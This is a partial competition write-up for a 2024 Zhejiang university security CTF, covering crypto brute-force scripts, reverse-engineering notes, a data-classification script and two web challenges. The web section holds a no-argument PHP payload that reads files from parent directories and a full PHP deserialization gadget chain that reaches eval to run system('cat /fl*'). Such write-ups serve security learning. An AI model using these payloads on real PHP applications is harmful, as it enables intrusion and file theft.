2024 第七届浙江省大学生网络与信息安全竞赛 部分wp
1718899103177808 发表于 浙江 CTF 399浏览 · 2024-11-10 07:44

签到

网安知识大挑战-FINAL

直接爆破即可

from Crypto.Cipher import DES3

c = bytes.fromhex('570fc2416dad7569c13356820ba67ba628c6a5fcbc73f1c8689612d23c3a779befeacf678f93ff5eb4b58dc09dcb9a89')
u = 'ABCD'
for i1 in u:
    for i2 in u:
        for i3 in u:
            for i4 in u:
                for i5 in u:
                    for i6 in u:
                        for i7 in u:
                            for i8 in u:
                                for i9 in u:
                                    for i10 in u:
                                        key =i1+i2+i3+i4+i5+i6+i7+i8+i9+i10+'000000'
                                        key = key.encode()
                                        d = DES3.new(key=key,mode=DES3.MODE_CBC,IV=b'12345678')
                                        flag = d.decrypt(c)
                                        if b'DASCTF' in flag or b'flag' in flag:
                                            print(flag)

WEB

wucanrce

打开网页显示flag在上级目录,下面有行关键代码

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['code'])) {

说明是无参构造

我们首先要用dirname返回上级目录

dirname
(PHP 4, PHP 5, PHP 7)

dirname — 返回路径中的目录部分

说明
dirname ( string $path ) : string
给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名。

但是返回上级目录了,我们随机得到的文件还只是文件名,直接读取因为不是再工作目录,而且也不是绝对路径,是读不到文件的,那怎么办呢

我们可以用getcwd+chdir来改变工作目录

然后再获取文件名再读取文件即可

print_r(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

再读取上级目录网上叠加dirname即可

print_r(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))))));

unserialize

还是给了源码,链子很简单

<?php
highlight_file(__FILE__);
error_reporting(0);
class AAA{
    public $aear;
    public $string;
    public function __construct($a){
        $this -> aear = $a;
    }
    function __destruct()
    {
        echo $this -> aear;
    }
    public function __toString()
    {
        $new = $this -> string;
        return $new();
    }

}

class BBB {
    private $pop;

    public function __construct($string) {
        $this -> pop = $string;
    }

    public function __get($value) {
        $var = $this -> $value;
        $var[$value]();
    }
}

class DDD{
    public $bag;
    public $magazine;

    public function __toString()
    {
        $length = @$this -> bag -> add();
        return $length;
    }
    public function __set($arg1,$arg2)
    {
        if($this -> magazine -> tower)
        {
            echo "really??";
        }
    }
}

class EEE{
    public $d=array();
    public $e;
    public $f;
    public function __get($arg1){
        $this->d[$this->e]=1;
        if ($this->d[]=1){
            echo 'nononononnnn!!!';
            }
        else{
            eval($this->f);
            }
    }
}

class FFF{
    protected $cookie;

    protected function delete() {
        return $this -> cookie;
    }

    public function __call($func, $args) {
        echo 'hahahhhh';
        call_user_func([$this, $func."haha"], $args);
    }
}
class GGG{
    public $green;
    public $book;
    public function __invoke(){
        if(md5(md5($this -> book)) == 666) {   
            return $this -> green -> pen;
        }
    }
}

if(isset($_POST['UP'])) {
    unserialize($_POST['UP']);
}

AAA:__construct开始,走到AAA:__destruct,里面有echo,走到自己的toString也就是AAA:__toString,然后$this -> string调用到__invoke,就是GGG:__invoke,里面详细的绕过先不急,先构造出链子,然后$this -> green -> pen调用__get,直接走到EEE的rce处,就是EEE:__get

链造好了就是里面的绕过

有两处需要绕

if(md5(md5($this -> book)) == 666) {   
            return $this -> green -> pen;
        }


        $this->d[$this->e]=1;
        if ($this->d[]=1){
            echo 'nononononnnn!!!';
            }

首先是md5,简单写个脚本爆破即可

def md5_hash(input_string):
    """返回MD5的十六进制表示"""
    return hashlib.md5(input_string.encode('utf-8')).hexdigest()


def find_target_hash():
    for i in range(1000, 100000):
        test_string = f"osthing{i}"
        first_md5 = md5_hash(test_string)
        second_md5 = md5_hash(first_md5)
        if second_md5.startswith('666'):
            print(f"找到符合条件的字符串: {test_string}")
            print(f"第一次MD5: {first_md5}")
            print(f"第二次MD5: {second_md5}")
find_target_hash()

找到值osthing94974

那么第二个就是整数溢出,long的最大值是(2^63)-1为9223372036854775807

最后构造处链子执行

<?php

class AAA
{
    public $aear;
    public $string;

}

class BBB
{
    private $pop;

}

class DDD
{
    public $bag;
    public $magazine;
}


class EEE
{
    public $d = array();
    public $e;
    public $f;

}

class FFF
{
    protected $cookie;

}

class GGG
{
    public $green;
    public $book;


}


$a=new AAA;
$a->aear=new AAA;
$a->aear->string=new GGG();
$a->aear->string->book="osthing94974";
$a->aear->string->green=new EEE();
$a->aear->string->green->e=9223372036854775807;
$a->aear->string->green->f="system('cat /fl*');";
print(serialize($a));

得到flag

MISC

FinalSign

SNOW解密拿到key

然后XOR即可

Crypto

MyCode

爆破即可

import numpy as np
from Crypto.Util.number import *

def substitute(state, sub_box):
    return [sub_box[b & 0xF] | (sub_box[(b >> 4) & 0xF] << 4) for b in state]


def generate_round_keys(base_key, rounds):
    round_keys = []
    temp_key = base_key
    for _ in range(rounds):
        round_keys.append(temp_key & 0xFFFFFFFF)
        temp_key ^= ((temp_key << 1) & 0xFFFFFFFF) | ((temp_key >> 31) & 0x1)
    return round_keys


def process_state(base_key, state, rounds, encrypt):
    sub_box = [
        0x9,
        0x4,
        0xA,
        0xB,
        0xD,
        0x1,
        0x8,
        0x5,
        0x6,
        0x2,
        0x0,
        0x3,
        0xC,
        0xE,
        0xF,
        0x7,
    ]
    inv_sub_box = [
        0xA,
        0x5,
        0x9,
        0xB,
        0x1,
        0x7,
        0x8,
        0xF,
        0x6,
        0x0,
        0x2,
        0x3,
        0xC,
        0x4,
        0xD,
        0xE,
    ]

    round_keys = generate_round_keys(base_key, rounds)

    if encrypt:
        for round in range(rounds):
            state = substitute(state, sub_box)
            state = [
                s ^ ((round_keys[round] >> (i * 8)) & 0xFF) for i, s in enumerate(state)
            ]
    else:
        for round in range(rounds - 1, -1, -1):
            state = [
                s ^ ((round_keys[round] >> (i * 8)) & 0xFF) for i, s in enumerate(state)
            ]
            state = substitute(state, inv_sub_box)

    return state


def encrypt(plaintext, key, rounds=10):
    length = len(plaintext)
    padded_length = length if length % 4 == 0 else length + (4 - (length % 4))
    plaintext += b"\x00" * (padded_length - length)

    ciphertext = bytearray(padded_length)
    for i in range(0, padded_length, 4):
        state = list(plaintext[i : i + 4])
        state = process_state(key, state, rounds, True)
        ciphertext[i : i + 4] = state

    return ciphertext


def decrypt(ciphertext, key, rounds=10):
    length = len(ciphertext)
    plaintext = bytearray(length)
    for i in range(0, length, 4):
        state = list(ciphertext[i : i + 4])
        state = process_state(key, state, rounds, False)
        plaintext[i : i + 4] = state

    return plaintext.rstrip(b"\x00")


def main():
    u = '0123456789ABCDEF'
    plaintext = bytes.fromhex("A6B343D2C6BE1B268C3EA4744E3AA9914E29A0789F299022820299248C23D678442A902B4C24A8784A3EA401")
    for i1 in u:
        for i2 in u:
            for i3 in u:
                for i4 in u:
                    for i5 in u:
                        key = int('ECB'+i1+i2+i3+i4+i5,16)
                        ciphertext = long_to_bytes(int(''.join(f"{b:02X}" for b in decrypt(plaintext, key)),16))
                        if b'DASCTF' in ciphertext or b'flag' in ciphertext:
                            print(ciphertext)
                            return




if __name__ == "__main__":
    main()

DlcgH_r

题目里给的k是512bits,但是实际上k=12345 ?????????????????????????????????????????????????????(纯纯恶心人)

from Crypto.Util.number import *
import sympy

def iterate_function(seed, coeff_a, coeff_b, prime_modulus):
    return (coeff_a * seed + coeff_b) % prime_modulus

def iterate_multiple_times(seed, num_iterations, coeff_a, coeff_b, prime_modulus):
    for _ in range(num_iterations):
        seed = iterate_function(seed, coeff_a, coeff_b, prime_modulus)
    return seed

p = 2565258348684709722726260231955260453241716968378483821594041597297293609376806025180965681289016169408781752953380586044352169083397987333072306444539318806255242559916564022662479
a = 7703427441632069990122897903141278700284019287330080801753208940444135129072547305259960648105321270085533531118395452229965873504176368162947864923497711
b = 8477265953761650860710068507342719089504862957398782381045770264963932696457722724393775545810962476516315838411812248360284564925846788951219272632661157
s = 9228773209718156231041982890745928246648483643042884535935071957475932603607283209094294685862893340598940862096657878372229519375655468524041406914666867
A = 434251860827782638796736001849473241231781620594954088572922898040098881748337513244415553659525671751903798527967205418513869125476445927127124010452649344318178999731385274553080
B = 434251860827782638796736001849473241231781620594954088572922898040098881748337513244415553659525671751903798527967205418513869125476445927127124010452649344318178999731385274553080
ak = (A * (1 - a) - b) * inverse(s - a * s - b, p) % p
# R = GF(p)
# k = discrete_log(R(ak), R(a))
k = 12345
secret1 = iterate_multiple_times(A, k, a, b, p)
print(secret1)

n2 = 3241139665583501598296135149075754735041636843305130049654913708275571916563715101898946962033698805416493133339619007016676895968314902474922279948997540924678346952667095320094789476561995339618782687993966133770687551933070478999383821269223854568552819152909266096733330218505088222661907600152055916956562332379930822529724151378274932991887183193175206749
c = 1131281812215293796960536920068009435705926803182047772347743960804329656316689664084120353862091370978145286943689311985878028828902275260824388998300548644880722651153603738691769179255824425771260974588160589473958033612303767050773921373389315920529311000160530833707622310013322631917184737227893101365726934901652170763292132835433158093074003616578836411
p = sympy.nextprime(secret1)
q = n2//p
e = 4
for mp in GF(p)(c).nth_root(e, all=True):
    for mq in GF(q)(c).nth_root(e, all=True):
        m = crt([ZZ(mp), ZZ(mq)], [p, q])
        try:
            res = bytes.fromhex(hex(m)[2:])
            if res.isascii():
                print(res)
        except:
            pass

REVERSE

Reverse2

脱壳,看 main 函数,可能是 base64 换表

DASCTF{d41d8cd98f00b204e98998ecf8427e}

Reverse1

main 函数没有内容

查看 export 发现有两个函数
before_main

after main

正确的流程为:将 key 通过 rc4 进行加密,密钥为 key1,得出新的 key

将新的密钥解密密文即可

rc4 加密的 -= 换成 += 即可,也可以直接patch 程序的flag,设置为 cipher,然后解密出来就是完整的flag

数据安全

datasecurity_classify1

要注意以下编码格式是utf-8,不然死活过不了

import csv

input_file = 'data.csv'
output_file = 'output.csv'

with open(input_file, 'r',encoding="utf-8", newline='') as infile:
    reader = csv.reader(infile)
    data = list(reader)

with open(output_file, 'w',encoding="utf-8",newline='') as outfile:
    writer = csv.writer(outfile)
    writer.writerow(['类型', '数据值'])

    for row in data:
        value = row[0]
        if len(value) == 18:
            type_ = '身份证号'
        elif len(value) == 11:
            type_ = '手机号'
        else:
            type_ = '姓名'
        writer.writerow([type_, value])


print(f"ok")
0 条评论
某人
表情
可输入 255